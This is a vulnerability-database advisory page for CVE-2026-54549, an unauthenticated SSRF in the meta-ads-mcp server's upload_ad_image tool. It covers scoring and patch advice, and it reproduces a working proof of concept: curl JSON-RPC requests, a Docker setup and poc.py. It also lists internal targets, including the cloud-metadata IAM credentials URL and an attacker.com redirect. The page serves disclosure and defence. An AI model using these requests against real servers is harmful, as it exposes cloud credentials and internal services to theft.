Skip to main content

meta-ads-mcp CVE-2026-54549

| EUVDEUVD-2026-78887 HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-07-17 https://github.com/pipeboard-co/meta-ads-mcp GHSA-45gf-fjxp-cjpq PYSEC-2026-3485
8.3
CVSS 3.1 · Vendor: https://github.com/pipeboard-co/meta-ads-mcp
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach exposed streamable-http /mcp endpoint
  2. Delivery
    Send tools/call for upload_ad_image with dummy Bearer token
  3. Exploit
    Supply internal image_url (169.254.169.254 / 127.0.0.1 / RFC1918)
  4. Execution
    Server fetches target before credential check
  5. Persist
    Read metadata or hit internal service
  6. Impact
    Exfiltrate data or pivot internally

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the operator deploy meta-ads-mcp with the --transport streamable-http option bound to a network-reachable interface (e.g. --host 0.0.0.0); the attacker then sends a JSON-RPC tools/call to the /mcp endpoint invoking the upload_ad_image tool with a chosen image_url and ANY non-empty Bearer token (the Authorization middleware only checks that a token is present, and real Meta credential validation occurs after the fetch, so no valid Meta OAuth token is needed). The impact scales with what the server can reach: co-location with cloud instance metadata (169.254.169.254), localhost-bound admin panels/databases, or RFC 1918 services makes it dangerous; a hardened host with egress filtering and IMDSv2 sharply limits payoff. Key limiting factors: the default/intended stdio deployment and the vendor's localhost-behind-proxy hosted configuration are NOT exposed to unauthenticated callers, so only self-hosted, network-exposed streamable-http instances are realistically at risk. Exploitation is blind/semi-blind GET-only, though follow_redirects=True allows public-to-internal redirect chaining.

Impact

The supplied CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L = 8.3 High) is internally consistent with the description: network-reachable, low-complexity, no privileges (the Bearer-token pre-check is trivially bypassed with any dummy string), no user interaction, and scope change (the request pivots to other internal systems). Confidentiality/Integrity/Availability are each rated Low, reflecting blind or semi-blind GET-based SSRF rather than full read of arbitrary data. A critical limiting factor tempers raw severity: exploitation requires the operator to deploy the --transport streamable-http mode on a network-reachable interface. The vendor notes the hosted service (*.mcp.pipeboard.co) binds to localhost behind an authenticating proxy and was NOT reachable by unauthenticated callers, so the exposed population is self-hosters, not the SaaS. No EPSS score and no SSVC decision data were provided, and the CVE is not in CISA KEV, so there is no signal of automated or in-the-wild exploitation; however, a fully working PoC/Docker exploit is public, which raises practical accessibility. Net: a genuine priority for anyone self-hosting streamable-http co-located with cloud metadata or internal services, but lower urgency for stdio-only or proxy-fronted deployments.

Exploit ScenarioDerived

An attacker who can reach a self-hosted meta-ads-mcp streamable-http endpoint sends a JSON-RPC tools/call for upload_ad_image with image_url set to http://169.254.169.254/latest/meta-data/iam/security-credentials/ and an arbitrary Bearer token; the server fetches the metadata endpoint before validating Meta credentials, potentially surfacing IAM credentials or letting the attacker pivot to internal services. A public working PoC (Dockerized poc.py that stands up an SSRF listener) demonstrates the outbound fetch firing with a dummy token. Given AV:N/AC:L/PR:N/UI:N, no authentication, interaction, or complex conditions are needed once the endpoint is network-reachable.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 17, 2026

Unauthenticated Server-Side Request Forgery in the meta-ads-mcp Python package (versions <= 1.0.114) lets remote attackers coerce the server into fetching arbitrary attacker-chosen URLs via the upload_ad_image MCP tool's image_url parameter. The flaw is reachable when the server runs with the officially supported --transport streamable-http mode, because the pre-fetch authorization check only requires a non-empty Bearer token while real Meta credential validation happens after the outbound fetch. Publicly available exploit code exists (a working Docker PoC); this is not in CISA KEV and no EPSS score was provided, so real-world exploitation is unconfirmed, but the vulnerability enables reaching localhost services, RFC 1918 hosts, and cloud metadata endpoints such as 169.254.169.254.

RemediationAI

Vendor-released patch: 1.0.115 - upgrade meta-ads-mcp to 1.0.115 or later (pip install --upgrade meta-ads-mcp), which adds the validate_public_url() SSRF guard and per-redirect-hop revalidation via commit 7d9926336bbdac6285a988d043c4ccfe126c94c5; see the advisory at https://github.com/pipeboard-co/meta-ads-mcp/security/advisories/GHSA-45gf-fjxp-cjpq. If you cannot patch immediately, the most effective compensating control is to stop exposing the vulnerable attack surface: run the server in stdio/local mode instead of --transport streamable-http, or if streamable-http is required, bind it to localhost (127.0.0.1) behind an authenticating reverse proxy rather than 0.0.0.0 (exactly how the vendor's hosted deployment avoided exposure). Additionally, place the process on a network segment with egress filtering that blocks outbound access to 127.0.0.0/8, RFC 1918 ranges, and 169.254.169.254, and enforce IMDSv2 so the cloud metadata service is not reachable via a simple GET (trade-off: egress filtering may break legitimate image fetches from intended CDNs, and stdio mode removes remote/multi-client access). Operators who previously exposed an earlier version should review outbound request and access logs for unexpected internal fetches.

Affected VersionsENISA

meta-ads-mcp < 1.0.115

Affected Packages

pypi meta-ads-mcp fix: 1.0.115

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

meta-ads-mcp is a Model Context Protocol (MCP) server, written in Python and built on FastMCP/httpx, that brokers Meta (Facebook) Ads API operations for AI clients. The root cause is CWE-918 (Server-Side Request Forgery): the upload_ad_image tool (meta_ads_mcp/core/ads.py) passes the caller-supplied image_url directly to try_multiple_download_methods() and ultimately to httpx.AsyncClient(follow_redirects=True).get(url) in meta_ads_mcp/core/utils.py, across three independent fetch paths, with no scheme, hostname, or IP validation. Because follow_redirects=True is set without per-hop revalidation, even an initially-public URL can redirect into an internal target. The affected package is identified by CPE pkg:pip/meta-ads-mcp. The fix (commit 7d99263, release 1.0.115) introduces a validate_public_url() guard that restricts fetches to http/https URLs whose host resolves only to public addresses-blocking private, loopback, link-local (incl. 169.254.169.254), reserved, multicast, and unspecified addresses, unwrapping IPv4-mapped IPv6-plus an httpx event hook that re-validates every redirect hop.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/pipeboard-co/meta-ads-mcp) PRIMARY 8.3 HIGH
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
vuln.today AI 8.3 HIGH

Any non-empty token bypasses the pre-fetch check so PR:N/AC:L; SSRF pivots to other systems giving S:C; blind GET yields Low C/I/A rather than full compromise.

3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:N

Primary rating from Vendor (https://github.com/pipeboard-co/meta-ads-mcp).

CVSS VectorVendor: https://github.com/pipeboard-co/meta-ads-mcp

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
Low

DescriptionCVE.org

Server-Side Request Forgery (SSRF) in upload_ad_image via Unrestricted image_url Fetch

Summary

The upload_ad_image MCP tool in meta-ads-mcp v1.0.113 passes an attacker-controlled image_url parameter directly to an HTTP fetch helper (httpx.AsyncClient(follow_redirects=True).get(url)) without any scheme, host, or IP address validation. When the server is deployed with the streamable-http transport (a documented, officially supported mode), an unauthenticated remote attacker can supply an arbitrary URL-including http://127.0.0.1/, RFC 1918 addresses, or cloud metadata endpoints such as http://169.254.169.254/-and cause the server to issue an outbound HTTP request to that target. The Authorization middleware only verifies that a non-empty Bearer token is present; actual Meta API credential validation occurs *after* the image download, so any dummy Bearer token bypasses the pre-fetch check. This constitutes a full, unauthenticated Server-Side Request Forgery with a confirmed CVSS 3.1 Base Score of 8.3 (High).

Details

Source

meta_ads_mcp/core/ads.py, line 1316-1322: The MCP tool upload_ad_image is registered with @mcp_server.tool() and exposes image_url: Optional[str] as a direct tool argument that is fully attacker-controlled over the network.

python
# meta_ads_mcp/core/ads.py
1316: @mcp_server.tool()
1318: async def upload_ad_image(
1322:     image_url: Optional[str] = None,

Propagation

meta_ads_mcp/core/ads.py, line 1389: The value is forwarded to try_multiple_download_methods(image_url) without any sanitization or validation.

python
# meta_ads_mcp/core/ads.py
1389:     image_bytes = await try_multiple_download_methods(image_url)

Sinks

meta_ads_mcp/core/utils.py contains three independent HTTP fetch paths, all using httpx.AsyncClient with follow_redirects=True and no URL, host, or IP validation:

python
# meta_ads_mcp/core/utils.py
166:     async with httpx.AsyncClient(follow_redirects=True, timeout=30.0) as client:
168:         response = await client.get(url, headers=headers)

214:     async with httpx.AsyncClient(follow_redirects=True) as client:
215:         response = await client.get(url, headers=headers, timeout=30.0)

224:     async with httpx.AsyncClient(follow_redirects=True) as client:
228:         response = await client.get(url, timeout=30.0)

Authorization bypass

meta_ads_mcp/core/http_auth_integration.py, lines 78-82: The middleware extracts any non-empty Bearer token value and places it into request context without validating it against Meta's API. The actual Meta OAuth token check (in meta_ads_mcp/core/api.py:415) occurs only after the image download completes, meaning the SSRF sink fires before any meaningful credential verification.

Absence of sanitization

A search for urlparse, urlsplit, ipaddress, localhost, 127.0.0.1, 169.254, private, allowlist, blocklist, or is_global in meta_ads_mcp/core/ads.py and meta_ads_mcp/core/utils.py returns no matches. No URL, scheme, hostname, or IP validation is present anywhere in the fetch path.

Transport exposure

meta_ads_mcp/core/server.py, line 219: The --transport streamable-http mode is a documented, officially supported deployment option (not a development-only stub), meaning the attack surface is reachable over the network in production deployments.

PoC

Environment setup

bash
# Build and run the Docker image (includes vulnerable meta-ads-mcp v1.0.113 and poc.py)
docker build -f vuln-001/Dockerfile \
  -t meta-ads-ssrf-poc \
  reports/pypiAi_615_pipeboard-co__meta-ads-mcp/

docker run --rm meta-ads-ssrf-poc
# Exit code 0 = SSRF confirmed

Manual reproduction (two terminals)

bash
# Terminal 1 - SSRF capture listener on port 9009
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        print("SSRF GET", self.path, flush=True)
        body = b"\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xd9"
        self.send_response(200)
        self.send_header("Content-Type", "image/jpeg")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)
HTTPServer(("127.0.0.1", 9009), H).serve_forever()
PY
# Terminal 2 - start the vulnerable MCP server
META_APP_ID=dummy META_APP_SECRET=dummy \
  python3 -m meta_ads_mcp --transport streamable-http --host 0.0.0.0 --port 8080

Exploit request

bash
# 1. Initialize MCP session
curl -sS -X POST http://127.0.0.1:8080/mcp \
  -H "Content-Type: application/json" \
  -H "Accept: application/json, text/event-stream" \
  -H "Authorization: Bearer dummy-token" \
  -d '{"jsonrpc":"2.0","method":"initialize","id":0,"params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"1.0"}}}'
# 2. Send SSRF payload - image_url points to internal listener
curl -sS -X POST http://127.0.0.1:8080/mcp \
  -H "Content-Type: application/json" \
  -H "Accept: application/json, text/event-stream" \
  -H "Authorization: Bearer dummy-token" \
  -d '{
    "jsonrpc": "2.0",
    "method": "tools/call",
    "id": 1,
    "params": {
      "name": "upload_ad_image",
      "arguments": {
        "account_id": "act_123456789",
        "image_url": "http://127.0.0.1:9009/poc.jpg"
      }
    }
  }'

Expected result

Terminal 1 prints:

SSRF GET /poc.jpg

The curl response returns an OAuth error from Meta (because the dummy token is invalid), but the inbound GET /poc.jpg request to the internal listener has already been received, confirming that the server-side fetch executes before any credential validation.

Confirmed runtime evidence (from Docker run)

[SSRF LISTENER] Received GET '/poc.jpg' from 127.0.0.1 | User-Agent: 'curl/8.4.0'
[PASS] SSRF CONFIRMED - MCP server issued 1 request(s) to 127.0.0.1:9009
  -> GET /poc.jpg  |  User-Agent: 'curl/8.4.0'

Alternative targets

Replace http://127.0.0.1:9009/poc.jpg with:

  • http://169.254.169.254/latest/meta-data/ - cloud instance metadata (AWS/GCP/Azure)
  • http://10.0.0.1/ - RFC 1918 internal network services
  • http://attacker.com/redirect - a public URL that redirects to an internal target (exploitable via follow_redirects=True)

Impact

This is a Server-Side Request Forgery (SSRF) vulnerability. Any party capable of sending a JSON-RPC tools/call request to the MCP HTTP endpoint-using any non-empty Bearer token string-can instruct the server to make arbitrary outbound HTTP GET requests, including to:

  • Localhost services: databases, admin panels, internal APIs, and other processes bound to 127.0.0.1 on the host
  • RFC 1918 / private network addresses: internal microservices, Kubernetes control planes, cloud-internal load balancers
  • Cloud instance metadata endpoints: http://169.254.169.254/ (AWS IMDSv1, GCP, Azure), potentially exposing IAM credentials, instance identity documents, and bootstrap secrets
  • Redirect-chained internal targets: any internal host reachable via a public-to-private redirect, because follow_redirects=True is set on all three fetch paths without re-validation at each hop

The SSRF fires *before* Meta API credential validation, so no valid Meta OAuth token is required. The impact spans confidentiality (internal data exfiltration), integrity (requests that trigger state-changing actions on internal services), and limited availability (internal service disruption).

Operators deploying meta-ads-mcp with --transport streamable-http in environments co-located with sensitive internal services or cloud metadata services are directly at risk.

Reproduction artifacts

Dockerfile
dockerfile
FROM python:3.11-slim
# Install system build dependencies
RUN apt-get update && \
    apt-get install -y --no-install-recommends gcc && \
    rm -rf /var/lib/apt/lists/*

WORKDIR /app
# Install pip and uv for fast dependency installation
RUN pip install --upgrade pip && pip install uv
# Install Python dependencies from the cloned repo
COPY repo/requirements.txt .
RUN uv pip install --system -r requirements.txt
# Copy the full application source (cloned repo)
COPY repo/ .
# Install the package in editable mode (no extra deps, already installed above)
RUN pip install --no-deps -e .
# Copy the PoC exploit script into the image
COPY vuln-001/poc.py /poc.py
# Run the PoC by default; exit code 0 = SSRF confirmed, 1 = not reproduced, 2 = setup error
CMD ["python3", "/poc.py"]
poc.py
python
#!/usr/bin/env python3
"""
Proof-of-Concept: SSRF via upload_ad_image image_url in meta-ads-mcp v1.0.113
CWE-918 - Server-Side Request Forgery (unrestricted server-side HTTP fetch)

Attack flow:
  1. Attacker sends tools/call for upload_ad_image with image_url="http://127.0.0.1:9009/poc.jpg"
  2. MCP server calls try_multiple_download_methods(image_url) with no URL validation
  3. httpx.AsyncClient(follow_redirects=True).get("http://127.0.0.1:9009/poc.jpg") fires
  4. SSRF listener records the inbound GET, proving the server issued the request

Authorization bypass: only a non-empty Bearer token string is required before the fetch;
the actual Meta API credential check happens after the image download.
"""

import threading
import subprocess
import time
import json
import sys
import socket
import os
from http.server import BaseHTTPRequestHandler, HTTPServer

import httpx
# ── Configuration ─────────────────────────────────────────────────────────────
SSRF_PORT = 9009
# Port for the SSRF capture listener
MCP_PORT  = 8080
# Port for the vulnerable MCP server
SSRF_PATH = "/poc.jpg"
# Path that the MCP server will request (SSRF indicator)
# ── Shared state ──────────────────────────────────────────────────────────────
ssrf_hits: list = []
ssrf_lock = threading.Lock()
# ── SSRF capture listener ─────────────────────────────────────────────────────

class SSRFCaptureHandler(BaseHTTPRequestHandler):
    """Records every inbound GET request made by the vulnerable MCP server."""

    def do_GET(self):
        hit = {
            "method": "GET",
            "path": self.path,
            "host": self.client_address[0],
            "user_agent": self.headers.get("User-Agent", ""),
        }
        with ssrf_lock:
            ssrf_hits.append(hit)
        print(
            f"[SSRF LISTENER] Received GET {self.path!r}"
            f" from {self.client_address[0]}"
            f" | User-Agent: {hit['user_agent']!r}",
            flush=True,
        )
# Return a minimal valid JPEG so the server processes the response
        body = (
            b"\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00"
            b"\xff\xd9"
        )
        self.send_response(200)
        self.send_header("Content-Type", "image/jpeg")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, fmt, *args):
        pass
# Suppress default access log to keep output clean


def start_ssrf_listener() -> None:
    server = HTTPServer(("127.0.0.1", SSRF_PORT), SSRFCaptureHandler)
    server.serve_forever()
# ── Helpers ───────────────────────────────────────────────────────────────────

def wait_for_port(host: str, port: int, timeout: float = 30.0) -> bool:
    """Poll until the TCP port is accepting connections or timeout expires."""
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            with socket.create_connection((host, port), timeout=1.0):
                return True
        except (ConnectionRefusedError, OSError):
            time.sleep(0.5)
    return False


def mcp_post(
    method: str,
    params: dict,
    req_id: int,
    session_id: str | None = None,
) -> httpx.Response:
    """Send a single JSON-RPC 2.0 request to the MCP streamable-HTTP endpoint.

    Path is /mcp (no trailing slash) - FastMCP 1.23.0 redirects /mcp/ → /mcp
    with HTTP 307, so we skip the redirect by targeting the canonical path directly.
    Accept header must include text/event-stream; without it the server returns 406.
    """
    headers = {
        "Content-Type": "application/json",
# MCP streamable-HTTP requires both JSON and SSE in Accept; omitting
# text/event-stream causes HTTP 406 from the FastMCP uvicorn handler.
        "Accept": "application/json, text/event-stream",
# Dummy Bearer token - the middleware only checks that it is non-empty;
# Meta API credential validation happens AFTER the image download (SSRF sink).
        "Authorization": "Bearer dummy-ssrf-poc-token",
    }
    if session_id:
        headers["Mcp-Session-Id"] = session_id

    payload = {"jsonrpc": "2.0", "method": method, "id": req_id, "params": params}
    with httpx.Client(timeout=30.0) as client:
        return client.post(
            f"http://127.0.0.1:{MCP_PORT}/mcp",
# no trailing slash
            json=payload,
            headers=headers,
        )
# ── Main PoC ──────────────────────────────────────────────────────────────────

def main() -> int:
    print("=" * 65, flush=True)
    print("VULN-001 PoC  -  SSRF in meta-ads-mcp upload_ad_image (v1.0.113)", flush=True)
    print("CWE-918 | CVSS 8.3 | image_url fetch has zero URL validation", flush=True)
    print("=" * 65, flush=True)
# ── Step 1: Start the SSRF capture listener ────────────────────────────
    t = threading.Thread(target=start_ssrf_listener, daemon=True)
    t.start()
    time.sleep(0.3)
    print(f"[+] SSRF capture listener running on 127.0.0.1:{SSRF_PORT}", flush=True)
# ── Step 2: Start the vulnerable MCP server ────────────────────────────
    env = os.environ.copy()
# Dummy credentials so the server starts; the Meta API is only called after
# the image has already been fetched (i.e., after the SSRF fires).
    env.setdefault("META_APP_ID", "poc-dummy-app-id")
    env.setdefault("META_APP_SECRET", "poc-dummy-secret")
    env.setdefault("PIPEBOARD_API_TOKEN", "")

    proc = subprocess.Popen(
        [
            sys.executable, "-m", "meta_ads_mcp",
            "--transport", "streamable-http",
            "--host", "127.0.0.1",
            "--port", str(MCP_PORT),
        ],
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        text=True,
        env=env,
        cwd="/app",
    )
    print(f"[*] Waiting for MCP server to bind on 127.0.0.1:{MCP_PORT} ...", flush=True)
# ── Step 3: Wait for server readiness ─────────────────────────────────
    if not wait_for_port("127.0.0.1", MCP_PORT, timeout=30):
        try:
            out, _ = proc.communicate(timeout=5)
        except subprocess.TimeoutExpired:
            out = ""
        print(f"[FAIL] MCP server did not start within 30 s.\nServer output:\n{out}", flush=True)
        return 2
    print(f"[+] MCP server is up on 127.0.0.1:{MCP_PORT}", flush=True)
    time.sleep(0.5)
# ── Step 4: MCP protocol initialization ───────────────────────────────
# The streamable-HTTP transport requires a brief initialize / initialized
# handshake before accepting tool calls.
    session_id = None
    try:
        resp = mcp_post(
            "initialize",
            {
                "protocolVersion": "2024-11-05",
                "capabilities": {},
                "clientInfo": {"name": "ssrf-poc", "version": "1.0"},
            },
            req_id=0,
        )
        print(f"[*] initialize -> HTTP {resp.status_code}", flush=True)
        session_id = resp.headers.get("Mcp-Session-Id")
        if session_id:
            print(f"[*] Session ID: {session_id}", flush=True)
            notif_headers = {
                "Content-Type": "application/json",
                "Authorization": "Bearer dummy-ssrf-poc-token",
                "Mcp-Session-Id": session_id,
            }
            notif_payload = {
                "jsonrpc": "2.0",
                "method": "notifications/initialized",
                "params": {},
            }
            with httpx.Client(timeout=10.0) as client:
                nr = client.post(
                    f"http://127.0.0.1:{MCP_PORT}/mcp",
# no trailing slash
                    json=notif_payload,
                    headers=notif_headers,
                )
            print(f"[*] notifications/initialized -> HTTP {nr.status_code}", flush=True)
    except Exception as exc:
        print(f"[*] Initialization step error (non-fatal): {exc}", flush=True)
# ── Step 5: Send the SSRF exploit payload ─────────────────────────────
    ssrf_url = f"http://127.0.0.1:{SSRF_PORT}{SSRF_PATH}"
    print(f"\n[*] Sending exploit request ...", flush=True)
    print(f"    method        : tools/call", flush=True)
    print(f"    tool          : upload_ad_image", flush=True)
    print(f"    image_url     : {ssrf_url}  <-- SSRF payload", flush=True)
    print(f"    Authorization : Bearer dummy-ssrf-poc-token  (not validated before fetch)", flush=True)

    try:
        resp = mcp_post(
            "tools/call",
            {
                "name": "upload_ad_image",
                "arguments": {
                    "account_id": "act_123456789",
                    "image_url": ssrf_url,
                },
            },
            req_id=1,
            session_id=session_id,
        )
        print(f"\n[*] tools/call -> HTTP {resp.status_code}", flush=True)
        print(f"[*] Response preview (first 400 chars):\n{resp.text[:400]}", flush=True)
    except Exception as exc:
        print(f"[*] tools/call exception: {exc}", flush=True)
# ── Step 6: Allow time for async fetch to complete ────────────────────
    time.sleep(4)
    proc.terminate()
# ── Step 7: Evaluate and report ───────────────────────────────────────
    print("\n" + "=" * 65, flush=True)
    with ssrf_lock:
        hits = list(ssrf_hits)

    if hits:
        print(
            f"[PASS] SSRF CONFIRMED - MCP server issued {len(hits)} request(s) to"
            f" 127.0.0.1:{SSRF_PORT}",
            flush=True,
        )
        for h in hits:
            print(
                f"  -> {h['method']} {h['path']}"
                f"  |  User-Agent: {h['user_agent']!r}",
                flush=True,
            )
        print(
            "\nConclusion: upload_ad_image passes attacker-controlled image_url to"
            " httpx.AsyncClient(follow_redirects=True).get(url) without any scheme,"
            " host, or IP validation. Internal services are reachable via SSRF.",
            flush=True,
        )
        print("=" * 65, flush=True)
        return 0
    else:
        print(
            f"[FAIL] No requests received on SSRF listener at 127.0.0.1:{SSRF_PORT}.",
            flush=True,
        )
        print("=" * 65, flush=True)
        return 1


if __name__ == "__main__":
    sys.exit(main())

Executive ViewAI

Why It Matters

The meta-ads-mcp Python package (versions ≤1.0.114) contains an unauthenticated server-side request forgery (SSRF) vulnerability that allows remote attackers to access internal networks and cloud metadata from affected deployments running in streamable-http mode. With publicly available exploit code in circulation, unpatched systems face immediate risk of credential exposure and unauthorized lateral movement within internal infrastructure and cloud environments. Organizations must prioritize patching to prevent attackers from pivoting through internal networks and accessing sensitive services.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.2%
Top 86% exploitable
Prevalence
Low
niche AI-tooling MCP connector, small self-hosted footprint
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

62
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +42
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy